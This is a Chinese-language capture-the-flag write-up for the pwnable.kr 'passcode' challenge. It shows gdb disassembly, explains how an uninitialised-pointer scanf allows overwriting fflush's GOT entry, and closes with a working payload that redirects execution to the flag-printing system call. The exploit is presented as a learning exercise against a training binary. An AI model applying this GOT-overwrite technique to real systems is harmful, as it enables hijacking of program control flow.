http://pwnable.kr/playproc.php?no=18
首先,需要对got表的一个基础认识
这里对got表和plt表进行一个简单的介绍
https://blog.csdn.net/qq_18661257/article/details/54694748
用gdb运行一下程序
gdb ./passcode
#查看main函数的反汇编
(gdb) disass main
Dump of assembler code for function main:
0x08048665 <+0>: push %ebp
0x08048666 <+1>: mov %esp,%ebp
0x08048668 <+3>: and $0xfffffff0,%esp
0x0804866b <+6>: sub $0x10,%esp
0x0804866e <+9>: movl $0x80487f0,(%esp)
0x08048675 <+16>: call 0x8048450 <puts@plt>
0x0804867a <+21>: call 0x8048609 <welcome> //welcome,login函数没有输入参数
0x0804867f <+26>: call 0x8048564 <login> //两个函数的ebp位置没有变化
0x08048684 <+31>: movl $0x8048818,(%esp)
0x0804868b <+38>: call 0x8048450 <puts@plt>
0x08048690 <+43>: mov $0x0,%eax
0x08048695 <+48>: leave
0x08048696 <+49>: ret
End of assembler dump.
#查看 welcome ,login 函数
(gdb) disass welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> //输入用户名
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 <printf@plt> //打印用户名
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---r
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
(gdb) disass login
Dump of assembler code for function login:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx //正常scanf的第二个参数是lea xxx,xxx
0x0804857f <+27>: mov %edx,0x4(%esp) //说明第二个参数少了&,为got表覆写提供了条件
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> //输入passcode1
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt> //输入passcode2
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
---Type <return> to continue, or q <return> to quit---r
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: movl $0x80487af,(%esp) //flag所在之处,记住这个指令地址0x080485e3
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
我们选择覆写scanf passcode1 后面的第一个函数 fflush的got表
(gdb) x/16i 0x8048430
0x8048430 <fflush@plt>: jmp *0x804a004 //0x804a004是fflush函数的got表位置
0x8048436 <fflush@plt+6>: push $0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
0x8048440 <__stack_chk_fail@plt>: jmp *0x804a008
0x8048446 <__stack_chk_fail@plt+6>: push $0x10
0x804844b <__stack_chk_fail@plt+11>: jmp 0x8048410
0x8048450 <puts@plt>: jmp *0x804a00c
0x8048456 <puts@plt+6>: push $0x18
0x804845b <puts@plt+11>: jmp 0x8048410
0x8048460 <system@plt>: jmp *0x804a010
0x8048466 <system@plt+6>: push $0x20
0x804846b <system@plt+11>: jmp 0x8048410
0x8048470 <__gmon_start__@plt>: jmp *0x804a014
0x8048476 <__gmon_start__@plt+6>: push $0x28
0x804847b <__gmon_start__@plt+11>: jmp 0x8048410
0x8048480 <exit@plt>: jmp *0x804a018
(gdb) x/16s 0x8048783
0x8048783: "%d" //是输入int值
0x8048786: "enter passcode2 : "
0x8048799: "checking..."
0x80487a5: "Login OK!"
0x80487af: "/bin/cat flag"
0x80487bd: "Login Failed!"
0x80487cb: "enter you name : "
0x80487dd: "%100s"
0x80487e3: "Welcome %s!\n"
0x80487f0: "Toddler's Secure Login System 1.0 beta."
0x8048818: "Now I can safely trust you that you have credential :)"
0x804884f: ""
0x8048850: "\001\033\003;@"
0x8048856: ""
0x8048857: ""
0x8048858: "\a"
这里我们就大致能够构造处我们的payload
'A'*0x(70-10) + '\x04\xa0\x04\x08' + '134514147\n' // 134514147是由0x080485e3转换为int类型的值
填充96个A,然后将fflush的got表的地址将passcode1的值覆盖,scanf (”%d“,passcode1) 将sys函数开始地址0x080485e3
覆盖fflush的got表,当程序执行到fflush函数时,就会跳转到0x080485e3处也就是sys函数处。